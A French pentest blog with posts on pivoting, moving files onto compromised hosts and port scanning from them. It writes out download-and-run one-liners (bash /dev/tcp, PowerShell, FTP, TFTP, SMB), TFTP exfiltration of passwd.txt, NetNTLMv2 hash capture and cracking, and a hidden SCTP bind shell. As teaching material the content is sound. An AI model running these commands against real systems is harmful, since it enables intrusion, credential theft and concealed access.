vendredi 7 juillet 2017

Techniques de pivoting

Pivoter avec SSH ou netcat

Les techniques de pivoting (mouvement latéral) concernent les mécanismes de rebond sur un système compromis pour accéder à un réseau privé et l'explorer.

Pivot avec netcat

Le pivot illustré ci-dessous utilise netcat, sur le relais, en attente de connexions. Cette instance communique avec une autre instance netcat via un pipe. La seconde instance est connectée à un système tiers du réseau privé. Un fichier FIFO permet de multiplexer les communication stdin/stdout entre les instances.  


Pivot avec SSH

Cette technique utilise des fonctiaionnalités standard des implémentations SSH pour "tunneler" un flux via un relais (pivot) pour atteindre un équipement dans un réseau privé..


Pivot dynamique avec SSH (proxy SOCK)

Il s'agit d'un pivot dynamique avec SSH permettant de transporter des flux vers des adresses et ports de destination situés  un réseau privé. En fait, il s'agit d'un proxy SOCK. L'application locale sur le poste de l'attaquant doit supporter le protocole SOCK pour se connecter au client SSH local. Pour les applications non sockifiées, il faut utiliser un proxy générique. L'utilitaire proxychains offre ces services à toute commande.

Le fichier ~/proxychains.conf ou /etc/proxychains.conf doit contenir la directive de connexion au client SSH local, c'est à ire, le protocole, l'adresse et le port.

$ cat ~proxychains.conf
socks5 127.0.0.1 9150

Ensuite, il suffit d'invoquer proxychains avec la commande en argument.
$ proxychains <cmd> <args>

Les options sont :
-D port forwarding dynamique
-f exécution en arrière-plan
-N ne pas exéécuter de commande



A faire

Reverse shell en pivot

Transfert de fichiers en post-exploitation


La problématique du transfert en pentest

Lors d'un pentest, après une compromission réussie, la première tâche concerne l'upload d'outils pour commencer la phase de post-exploitation. L'auditeur cherche à augmenter ses privilèges ou effectuer un mouvement latéral (pivoting).

Une exploitation peut résulter en la simple possession d'un shell avec des droits restreints et parfois un environnement austère. Dans ce cas, il devient nécessaire de pouvoir installer quelques outils indispensables pour consolider l'accès distant.

Transfert en HTTP

Le téléchargement de fichiers via HTTP permet de contourner de nombreuses règles de filtrage et reste malgré tout assez simple. Cela peut être réalisé en ligne de commande.

Démarrage du serveur Web

Habituellement, depuis un PC Linux avec Kali ou Backbox, le plus simple est d'utiliser un serveur Web en python. Pour des besoins plus spécifiques, apache (ou un autre serveur Web) peut devenir incontournable.

Pour servir des fichiers avec Apache, il faut les copier dans le répertoire WEBROOT  /var/www/html puis activer le service Apache. Apache est installé par défaut sur de nombreux systèmes UNIX :

$ sudo cp prog.exe /var/www/html
$ sudo service apache2 start

L'autre option consiste à simplement démarrer un serveur Web python directement dans le répertoire contenant les fichiers à uploader. Cela nécessite une seule ligne de commande grâce au module SimpleHTTPServer de Python:

$ sudo python -m SimpleHTTPServer 80 
Serving HTTP on 0.0.0.0 port 80 ...

Par défaut, il sert sur le port 8000, mais le port peut être spécifié en argument.

Téléchargement des fichiers avec des outils standards

Il faut simplement accéder à l'URL http://<server>/<filename> avec un navigateur ou un utilitaire de download en HTTP (wgetcurl, ...).

$ wget http: //kali/prog.exe
$ curl http://kali/prog.exe > p.exe
$ file p.exe
p.exe: PE32+ executable (console) x86-64, for MS Windows 


Téléchargement en HTTP avec bash

Lorsque le shell bash est compilé avec le support du pseudo périphérique /dev/tcp, il est possible de faire des transfert HTTP depuis le shell en ouvrant un descripteur de fichier en lecture/écriture :

Association du descripteur 3 à l'URL http://192.168.1.28
$ exec 3<>/dev/tcp/192.168.1.28/80

GET http://192.168.1.28/pgm
$ echo -e "GET /pgm HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3

Ecriture sur du binaire dans un fichier :
$ cat <&3 > pgm

Suppression du header HTTP
hd -n 16 pgm          
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010
hd -s 202 -n 16 pgm  
000000ca  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
000000da

tail -c +203  pgm > pgm.elf  
file pgm.elf  
pgm.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.
so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
chmod +x pgm.elf && ./pgm.elf 
You have been hacked!

Téléchargement en HTTP avec powershell

Avec un accès en ligne de commande (via un shell), le téléchargement via HTTP est un peu plus délicat sous Windows car les outils UNIX comme curl ou wget ne sont quasiment jamais présents. Dans ce cas, la meilleure option est d'utiliser l'objet WebClient depuis le shell PowerShell :

C:\> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.50/prog.exe','C:\Users\user\Desktop\prog.exe')"


Transfert en FTP

Une autre méthode pour transférer des fichiers est d'utiliser le protocole FTP. Windows dispose d'un client FTP par défaut. Cette méthode devrait presque toujours fonctionner sous réserve qu'aucune politique de filtrage ne l'empêche.

Démarrage du serveur FTP

Il n'est pas nécessaire d'installer un serveur FTP. Un simple serveur FTP en python ou bien Metasploit suffit. 

FTP en Python

La bibliothèque pytftpd à l'image du serveur Web ci-dessus permet d'exécuter un serveur FTP en une seule ligne de commande. Il faut au préalable installer la librairie :

$ sudo apt-get install python-pyftpdlib



Il faut lancer le serveur FTP depuis le répertoire contenant les fichiers. Par défaut, le port est 2121 avec une authentification anonyme. Pour écouter sur le port standard il faut utiliser l'argument -p 21 :

sudo python -m pyftpdlib -p 21 
[I 17-07-07 10:20:47] >>> starting FTP server on 0.0.0.0:21, pid=22054 <<<
[I 17-07-07 10:20:47] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 17-07-07 10:20:47] masquerade (NAT) address: None
[I 17-07-07 10:20:47] passive ports: None
[I 17-07-07 10:20:47] use sendfile(2): True

L'avantage de FTP est la possibilité d'exfiltration. Les fichiers peuvent être transférés dans les deux sens avec l'argument (-w). L'inconvénient est que le client ftp de Windows ne supporte pas le mode passif, ce qui ne permet pas de l'utiliser lorsqu'il y a de la NAT entre le client et le serveur.

FTP avec Metasploit 

Il existe également un serveur FTP auxiliaire intégré à Metasploit qui est facile à déployer et à configurer. Il est situé dans auxiliary/server/ftp. Il faut positionner la variable FTPROOT sur le répertoire contenant les fichiers :

sudo msfconsole
msf> use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /tmp
FTPROOT => /tmp
msf auxiliary(ftp) > exploit
[*] Auxiliary module execution completed
[*] Server started.

Le serveur est lancé en arrière-plan. Pour l'arrêter, il faut utiliser la commande jobs avec l’identifiant en argument du flag -k.  

msf auxiliary(ftp) > jobs
msf auxiliary(ftp) > jobs –k <id>

Client FTP

Les clients disponibles sous UNIX sont nombreux (wget, curl, ...) et sont principalement les mêmes que ceux utilisés pour un transfert HTTP. Seul le nom du protocole change.

$ wget ftp://kali/prog.exe
$ curl ftp://kali/prog.exe -o p.exe


Dans le cas où l'exploit consiste en une injection de commande, l'implémentation du FTP de Windows peut prendre un script de commandes pour établir une connexion anonyme directement à partir de la ligne de commande en spécifiant les arguments -A -s <cmdfile>. Il faut donc construire le fichier de commande FTP, invoquer le client FTP puis l’exécutable uploadé en une seule commande. 

Voici un exemple avec en rouge le résultat de l'exécution de prog.exe :

C:> echo open 192.168.1.28 > ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -A -s:ftp.cmd & prog.exe
ftp> open 192.168.1.28
Connecté à 192.168.1.28.
220 pyftpdlib 1.4.0 ready.
331 Username ok, send password.
230 Login successful.
Ouverture de session anonyme en tant que User@LAB-W7
ftp> binary
200 Type set to: Binary.
ftp> get prog.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp : 384685 octets reçus en 0,00 secondes à 384685000,00 Ko/s.
ftp> quit
221 Goodbye.
Hello world!

Exemple avec le client ftp sou Linux
$ echo -e "quote USER anonymous\nquote PASS password\nbinary\nget prog.exe\nquit\n" > ftp.cmd &
& ftp -i -n 192.168.1.50 < ftp.cmd && chmod +x prog.exe && ./prog.exe
Hello world!

Certain client Windows ne possède pas le commutateur -A (anonynous), la syntaxe requiert une identification anonyme : 

C:\> echo open 192.168.1.28 > ftp.cmd & echo anonymous >> ftp.cmd & echo pass >> ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -s:ftp.cmd & prog.exe


Transfert en TFTP

Le protocole TFTP offre une alternative lorsque tftp est installé sur le système. Auparavant, il était installé par défaut dans Windows XP, mais il doit maintenant être activé manuellement sur les versions récentes de Windows. Si le système Windows possède un client tftp cela permet d’uploader ou d'exfiltrer des fichiers en une seule commande.

Démarrage du serveur TFTP

Kali est livré avec le serveur TFTP atftpd, qui peut être démarré avec la commande  :

$ service atftpd start

TFTP en Python

Un serveur TFTP en python peut être démarré avec :

$ sudo apt-get install python-tftpy
$ sudo python TFTPSimpleServer.py /tmp 69
[*] Starting TFTP listen on port 69 /tmp

Code source de TFTPSimpleServer.py

$ cat TFTPSimpleServer.py  
#!/usr/bin/env python

import tftpy
import sys

usage = "Usage: %s <rootdir> <port>\n\tdefault port 69 and rootdir \'/tmp\'" % (sys.argv[0])

port = 69
rootdir = "/tmp"
host = "0.0.0.0"

def tftpd(host, port, rootdir):
   try:
       print "[*] Starting TFTP listen on port %d %s" % (port, rootdir)  
       server = tftpy.TftpServer(rootdir)
       server.listen(host, port)
   except Exception, e:
       print "[-] TFTPD failed on %d %s " % (port, rootdir)

if len(sys.argv) == 3:
   port = int(sys.argv[2])
if len(sys.argv) >= 2:
   rootdir = sys.argv[1]
   if sys.argv[1] == "-h" or sys.argv[1] == "--help":
      sys.exit(usage)

tftpd(host, port, rootdir)

TFTP avec Metasploit

Metasploit possède un module serveur TFTP dans auxiliary/server/tftp. Il faut définir les options du module avec la variable TFTPROOT qui détermine le répertoire.

sudo msfconsole
msf> use auxiliary/server/tftp
msf auxiliary(tftp) > set TFTPROOT /tmp
TFTPROOT => /tmp
msf auxiliary(tftp) > exploit
[*] Auxiliary module execution completed
[*] Starting TFTP server on 0.0.0.0:69…
[*] Uploaded files will be saved in /tmp

Client TFTP

En supposant que le client tftp est présent sur la cible Windows ou Linux, il est possible de télécharger un fichier sur la cible. TFTP ne nécessite aucune authentification, il suffit simplement d'utiliser l'indicateur -i et l'action GET.

C: \> tftp -i 192.168.1.28 GET prog.exe


Pour exfiltrer les fichiers via TFTP il faut utiliser l'action PUT.

C: \> tftp -i 192.168.1.28 PUT passwd.txt


Busybox est un jeu de commande POSIX pour système embarqué. Il est souvent compilé avec le support du client tftp. Il est quasi systématique sur une palteforme embarquée disposant d'un noyau Linux. Il est même présent sur certaines distributions Linux standard. Pour un téléchargement, il faut utiliser les options get (-g) du fichier remote (-r <file>) en spécifiant le serveur et le port :

$ busybox tftp -g -r prog.exe 192.168.1.28 69
prog.exe             100% ***********************************************|     1   0:00:00 ETA


TFTP est un moyen pratique et simple de transférer des fichiers car il ne nécessite pas d'authentification et une simple commande en ligne est suffisante.

Transfert en SMB

Le protocole SMB est le protocole à privilégier pour transférer un fichier vers une cible Windows. SMB ne nécessite aucune commande spéciale car les commandes Windows supportent nativement les noms de fichiers UNC. Ainsi, il suffit d'utiliser les commandes standard avec des chemins UNC et Windows gère le transfert de fichier ou l'action. La cerise sur le gâteau est que Windows supporte l'exécution de fichiers comportant un chemin en notation UNC. En conséquence, il est possible de télécharger et d'exécuter une charge utile avec une simple commande en ligne.

Démarrage d'un serveur SMB

Si SMB ou Samba est installé sur le système du pentester, alors il est possible de l'utiliser, mais l'intérêt est d'utiliser des serveurs plus légers et simples qui acceptent n'importe qu'elle authentification et servent ou acceptent des fichiers.

Un tel serveur existe en Pyhton/ il s'agit de smbserver.py appartenant au projet Impacket https://github.com/CoreSecurity/impacket.

Installation smbserver.py

Depuis github :

$ wget https://github.com/CoreSecurity/impacket/releases/download/impacket_0_9_15/impacket-0.9.15.tar.gz
$ tar xvf impacket-0.9.15.tar.gz
$ cd impacket-0.9.15/
$ sudo python setup.py install

Pour lancer un serveur SMB sur le port 445, il suffit de spécifier un nom de partage et le chemin du répertoire à partager:

$ sudo smbserver.py <shareName> <sharePath>
$ sudo smbserver.py SERVER /tmp

Le script python ne requiert pas de configuration particulière, il écoute sur le port TCP 445 et accepte toute authentification. De surcroît, il affiche les hashs en réponse au challenge pour tous les systèmes se connectant. 

Voici un test depuis un système Windows :

C:\> net view \\192.168.1.28
Ressources partagées de \\192.168.1.28

(null)

Nom du partage  Type    Utilisé comme  Commentaire

----------------------------------------------------------
SERVER          Disque
La commande s'est terminée correctement.


Le partage SERVER peut être utilisé avec les commandes usuelles dir, copy, etc. tout fonctionne simplement :

C:\> dir \\192.168.1.28\SERVER\disk
 Le volume dans le lecteur \\192.168.1.28\SERVER n'a pas de nom.
 Le numéro de série du volume est ABCD-EFAA

 Répertoire de \\192.168.1.28\SERVER\disk

07/07/2017  15:17    <REP>          .
07/07/2017  15:17    <REP>          ..
07/07/2017  15:17           384 685 prog.exe
               1 fichier(s)          401 069 octets
               2 Rép(s)  15 207 469 056 octets libres

Exécution du programme sur le serveur depuis le client Windows

C:\> \\192.168.1.28\SERVER\disk\prog.exe
Hello world!

Copie d'un fichier et exécution

C:\> copy \\192.168.1.28\SERVER\disk\prog.exe . & prog.exe
        1 fichier(s) copié(s).
Hello world!

Cassage du hash NTLMv2

L'affichage produit côté serveur (smbserver.py) affiche à chaque accès au partage le hash NetNTLMv2 pour l'utilisateur de Windows. Ces hashs peuvent être cassés avec John ou Hashcat.

En copiant le hash dans un fichier :

$ cat hash.txt 
Pascal::LAB-W7:4141414141414141:aad022226b5746cbf314f7a29ae9dc06:010100000000000000c2611424f7d201f831165d0e88b42300000000010010007000730046004d006a00620043006a00020010006f00670053007900520071006f006400030010007000730046004d006a00620043006a00040010006f00670053007900520071006f0064000700080000c2611424f7d201060004000200000008003000300000000000000001000000002000003e4e2b90830b798c79fd20be87a68a0939207e76f09534261f3f0271ef92fd4a0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e0031002e0032003800000000000000000000000000


Puis on lance john avec le cryptosystème NTLMv2

john --format=netntlmv2 /tmp/hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pascal           (Pascal)
1g 0:00:00:00 DONE 1/3 (2017-07-07 15:34) 2.083g/s 116.6p/s 116.6c/s 116.6C/s W7pascal..pascal
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Transfert hexa par copier/coller

L'idée est de profiter d'un shell obtenu sur la cible pour télécharger un exécutable en le copiant dans un fichier via un format texte hexadécimal. Pour cela un éditeur de texte fait l'affaire. Ensuite, une conversion en binaire avec application des droits d'exécution  permet d'exécuter le programme sur la cible.

Format ELF sour Linux

Conversion en hexa d'un fichier ELF :

attacker$ xxd -p pgm 
7f454c4602010100000000000000000002003e0001000000300440000000
00004000000000000000d819000000000000000000004000380009004000
1f001c000600000005000000400000000000000040004000000000004000
[...]
80000000000000018000000000000000900000003000000000000000000
00000000000000000000b816000000000000120200000000000000000000
0000000001000000000000000000000000000000


Copier/coller dans un éditeur sur la cible

victim$ vim hex
[...]<insert> + copier/coller

Conversion en binaire, ajout droit d'exécution et lancement du programme :

victim$ xxd -r -p hex > bin && file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
victim$ chmod +x bin && ./bin
You have been hacked!



A faire 

Documentation pour des serveurs
  •  HTTPS en Python
  • Serveur syslog
  •  ncat et netcat 



jeudi 6 juillet 2017

Scanner lors d'un pivot


Scanner sans outil spécifique lors d'un pivot

Lors d'un pentest, lorsque l'auditeur obtient un shell sur un système qu'il vient de compromettre, il se retrouve sur un environnement ne disposant pas de nmap. De surcroît, il ne possède pas forcément de privilèges root. En général, le pentester n'est pas autorisé à procéder à des installations. Seule l'exécution de binaire standalone est accepté par le propriétaire du système.

En conséquence, l'auditeur doit résoudre ces différentes difficultés. Voici plusieurs façons de procéder lors d'un pivoting pour explorer les réseaux et systèmes depuis un système Linux nouvellement compromis.


Netcat

Tout d'abord, netcat (ou nc) peut être présent sur le système car il est bien souvent installé par défaut. Si c'est le cas, netcat possède une option de scan TCP (-z). Il suffit de spécifier la plage de ports et l'IP cible.

$ nc -zv <host> <port range>
$ nc -zv 192.168.1.28 1-65353 2>&1 | grep -i succeeded

Bash

Le shell bash livré par l'éditeur de la distribution peut être compilé avec le support du pseudo périphérique interne /dev/tcp. Dans ce cas, il est possible d'ouvrir des sockets directement avec bash

Pour scanner une liste de ports avec bash :

$ for i in 21 22 23 111 41998; do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done
22/tcp open
111/tcp open
41998/tcp open

Pour scanner une plage de ports (ex: 1-65535):

$ for ((i=1; i<=65535; i++)); do (echo > /dev/tcp/192.168.1.50/$i) > /dev/null 2>&1 && echo "$i/tcp open"; done 
22/tcp open
111/tcp open
41998/tcp open

Bash permet d'ouvrir des descripteurs en lecture/écriture et notamment des descripteurs pointant sur des sockets.  
  1. Le premier numéro de descripteur disponible dans un shell (après stdout) est 3. 
  2. Une ouverture en lecture/écriture s'écrit  avec les caractères de redirections "<>". Pour ouvrir le descripteur de fichier n° 3 en lecture/.écriture : exec 3<>
  3. Le file descriptor est associé à une socket TCP grâce au pseudo périphérique /dev/tcp. La syntaxe est : "/dev/tcp/www.google.com/80
  4. Une écriture sur une socket est donc de la forme echo "XXX" >&3 
  5. Une lecture depuis la socket :  cat <&3
Ainsi, pour télécharger un exécutable via HTTP, il faut réaliser une écriture locale, en redirigeant la sortie vers un fichier :

$ exec 3<>/dev/tcp/pentest/80
$ echo -e "GET /portscan HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3
$ cat <&3 > portscan


Le fichier en sortie portscan contient le header HTTP du serveur Web :

$ hd -n 16  portscan 
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010


Pour supprimer le header il faut trouver l'offset du début du fichier ELF, ici il y a 203 octets :

$ tail -c +203 portscan | hd -n 16
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010
$ tail -c +203 portscan > portscanexe


Après troncature du header de portscan dans portscanexe, la vérification du type du fichier confirme qu'il s'agit d'un fichier exécutable de type ELF :

$ file portscanexe 
portscanexe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped


En ajoutant les droits en exécution, il devient  possible d'exécuter le binaire et de scanner le réseau avec un programme téléchargé via bash. Le programme téléchargé utilise l'API socket standard car il effectue des hanshake TCP complet. Il ne requiert aucun droit privilégié pour l'exécution.

$ chmod +x portscanexe 
$ ./portscanexe 
Usage: ./portscanexe <ip> <start_port> <end_port>
$ ./portscanexe pentest 80 81
[*] Scanning pentest (192.168.1.73) TCP range port: 80-81
   80/tcp open
[+] Scan done.

PERL

Si l'interpréteur PERL est présent sur le système, alors un script PERL peut être utilisé pour scanner le voisinage :

$ perl portscan.pl 192.168.1.50 1 65535
[*] Scanning 192.168.1.50 for open TCP ports 1-65535...
  22/tcp  open
 111/tcp  open
41998/tcp  open
[+] Scan done.

Script portscan.pl
$ cat portscan.pl
#!/usr/bin/perl

use Socket;

$| = 1;
($ip, $port, $port_stop) = @ARGV;

if ($ip eq "")
{   &usage();
}
$port = 1 if not $port;
$port_stop = 1024 if not $port_stop;

print "[*] Scanning $ip for open TCP ports $port-$port_stop...\n";

for (; $port < $port_stop; $port += 1)
{   socket(SOCKET, PF_INET, SOCK_STREAM, 0);
   $addr = inet_aton($ip);
   $ipaddr = sockaddr_in($port, $addr);
   if (connect(SOCKET, $ipaddr))
   {   printf "%#5d/tcp  open\n", $port;
       close SOCKET || die "close: $!";
   }
}
printf "[+] Scan done.\n";

sub usage()
{   print "Usage: ./portscan.pl <host> [ <start port> ] | <stop port> ]\n";
   print "Defaults port range 1-1024 \n";
   exit 0;
}

PYTHON

Si l'interpréteur PYTHON est présent sur le système, alors un script PYTHON peut être utilisé pour scanner le voisinage, ci-dessous un code python similaire à celui en perl. :

$ cat portscan.py 
#!/usr/bin/env python

from socket import *
import sys, time
from datetime import datetime                                                       
min_port = 1
max_port = 65535
def scan_host(host, port, r_code = 1): 
    try:
        s = socket(AF_INET, SOCK_STREAM)
        code = s.connect_ex((host, port))
        if code == 0:
           r_code = code
        s.close()
    except Exception, e:
        pass
    return r_code

if len(sys.argv) == 2:
        host = sys.argv[1]
else:
        print "usage: %s <IP address>\n" % (sys.argv[0])
        sys.exit(1)

hostip = gethostbyname(host)
print "[+] Scanning %s (%s) on TCP port range %s-%s" % (host, hostip, str(min_port), str(max_port)) 
print "[+] Scanning started %s at %s" % (time.strftime("%F"), time.strftime("%H:%M:%S"))

start_time = datetime.now()

for port in range(min_port, max_port):
    try:
        response = scan_host(host, port)
        if response == 0:
            print "%#5d/tcp  open" % (port)
    except Exception, e:
        pass
stop_time = datetime.now()
total_time_duration = stop_time - start_time
total_port = max_port - min_port + 1
print "[!] Scanning finished %s at %s" % (time.strftime("%F"),time.strftime("%H:%M:%S"))
print "[!] Scanning %d ports duration: %s" % (total_port, total_time_duration) 


Exécutable ELF

La dernière option, déjà évoquée supra, est d'utiliser un exécutable ELF de petite taille, utilisant l'API socket TCP standard, sans privilège d'exécution, pour scanner les alentours en TCP connect. En l'absence d'outils locaux (y compris les sockets en bash) pour le download, il est possible de recourir à un copier/coller dans le terminal ouvert lors de la compromission via un éditeur comme vi. L'utilitaire xxd permet de convertir le fichier binaire en hexadécimal. Un copier/coller sur le système victime suivi d'une conversion inverse de hexadécimal vers binaire suffira pour procéder à un transfert.

Conversion du binaire en hexadécimal
$ xxd -p portscan 
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500

Edition sur la cible d'un fichier texte
$ vim hex
[...]<insert> + copier/coller
$ cat hex
7f454c4602010100000000000000000002003e0001000000600940000000
00004000000000000000f821000000000000000000004000380009004000
[...]
5f5f005f49544d5f7265676973746572544d436c6f6e655461626c65005f
696e697400736f636b65744040474c4942435f322e322e3500


Conversion hexadécimale vers binaire
$ xxd -r -p hex > exe
$ file exe
exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
, for GNU/Linux 2.6.24, BuildID[sha1]=37cad68ecc478440b7c9c40ec8a22dabe4e885f5, not stripped



Exécution du fichier
$ chmod +x exe
$ ./exe pentest 20 80
[*] Scanning pentest (192.168.1.73) TCP range port: 20-80
  22/tcp open
  80/tcp open
[+] Scan done.



Code source de portscan.c
/* portscan.c
 * Build: gcc portscan.c -o portscan
 */
#include<stdio.h>
#include<sys/socket.h>
#include<errno.h>
#include<netdb.h>
#include<string.h>
#include<stdlib.h>
#include <arpa/inet.h>

void usage(char * pgm)
{    printf("Usage: %s <ip> <start_port> <end_port>\n", pgm);
         exit (1);

int get_ipaddr(char * hostname, char* ip) 
{
    struct hostent * host;     
    struct in_addr ** addr_list;     
    int i; 
       
    if ((host = gethostbyname( hostname ) ) == NULL)     
    {   herror("gethostbyname");         
        return 1;
    }     
    addr_list = (struct in_addr **) host->h_addr_list;
    for(i = 0; addr_list[i] != NULL; i++)
    {   strcpy(ip, inet_ntoa(*addr_list[i]));
        return 0;
    }
    return 1;
}
int main(int argc , char **argv)
{
    struct hostent * host;
    int              err, i, sock ,start , end;
    struct sockaddr_in sa;
    char             hostname[256];
    char             ip[128];
    if (argc != 4)
           usage(argv[0]);
     
    /* Get IP and hostname to scan */
    strcpy(hostname, argv[1]);    
    get_ipaddr(hostname, ip);

    /* Get range port */
    sscanf(argv[2], "%d" , &start);
    sscanf(argv[3], "%d" , &end);
    printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", 
           hostname, ip, start, end);

    /* Initialise the sockaddr_in structure */
    strncpy((char*)&sa , "" , sizeof(sa));
    sa.sin_family = AF_INET;
     
    /* Direct ip address or resolv it */
    if (isdigit(hostname[0]))
    {   sa.sin_addr.s_addr = inet_addr(hostname);
    }
    else if ((host = gethostbyname(hostname)) != 0)
    {    strncpy((char*)&sa.sin_addr, (char*)host->h_addr , 
                 sizeof(sa.sin_addr));
    }
    else
    {   herror(hostname);
        exit(2);
    }
     
    /* Start port scan */
    for (i = start ; i <= end ; i++) 
    {
        sa.sin_port = htons(i);
        sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) 
        {   perror("[-] Error: socket");
            exit(1);
        }
        err = connect(sock , (struct sockaddr*)&sa , sizeof sa);
        if (err < 0) fflush(stdout);
        else         printf("%5d/tcp open\n",  i);      
        close(sock);
    }
     
    printf("[+] Scan done.\n");
    fflush(stdout);
    return(0);

Les scans UDP ne sont pas abordés. Néanmoins, les pentest en environnement Telecom permettent de découvrir des services sur SCTP. SCTP est une couche de transport comme TCP ou UDP utilisée pour des protocoles de signalisation Telecom pour la voix (SS7/SIGTRAN ou Diameter). SCTP est présent dans les cœurs de réseaux mobile et fixe. Du point de vue de l'attaquant, l'intérêt de SCTP est qu'un shell bindé sur un port est transparent lors de scans classiques ou sur le système avec la commande netstat (c'est de moins en moins vrai selon les distributions Linux). L'utilitaire ncat (version améliorée de netcat), permet d'utiliser SCTP en IPv4 ou IPv6 pour binder un shell sur un port.

Exemple de bind de bash sur SCTP  en IPv4:

victim$ ncat -k -l --sctp -4 -p 4444 -e /bin/bash

L'attaquant peut découvrir le port SCTP :

attacker$ ./sctp_port_scan victim 4000 5000     
[*] Scanning victim (192.168.1.50) SCTP range port: 4000-5000
4444/sctp open
[+] Scan done.

Une connexion en SCTP est possible avec ncat

attacker$ ncat --sctp victim 4444
uname -a Linux Kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
whoami
user



Le code source est dérivé de celui de portscan.c avec 4 modifications (en rouge):

$ diff sctp_port_scan.c portscan.c                                
11d10
< #include <netinet/sctp.h>
15d13
<  
58c56
<     printf("[*] Scanning %s (%s) SCTP range port: %d-%d\n", hostname, ip, start, end);
---
>     printf("[*] Scanning %s (%s) TCP range port: %d-%d\n", hostname, ip, start, end);


80c78
<         sock = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
---
>         sock = socket(AF_INET, SOCK_STREAM, 0);
87c85
<         else         printf("%5d/sctp open\n",  i);
---
>         else         printf("%5d/tcp open\n",  i);  





Pour compiler, il est nécessaire d'installer au préalable la librairie libsctp-dev.

$ sudo apt-get install libsctp-dev
$ gcc stcp_portscan.c -o stcp_portscan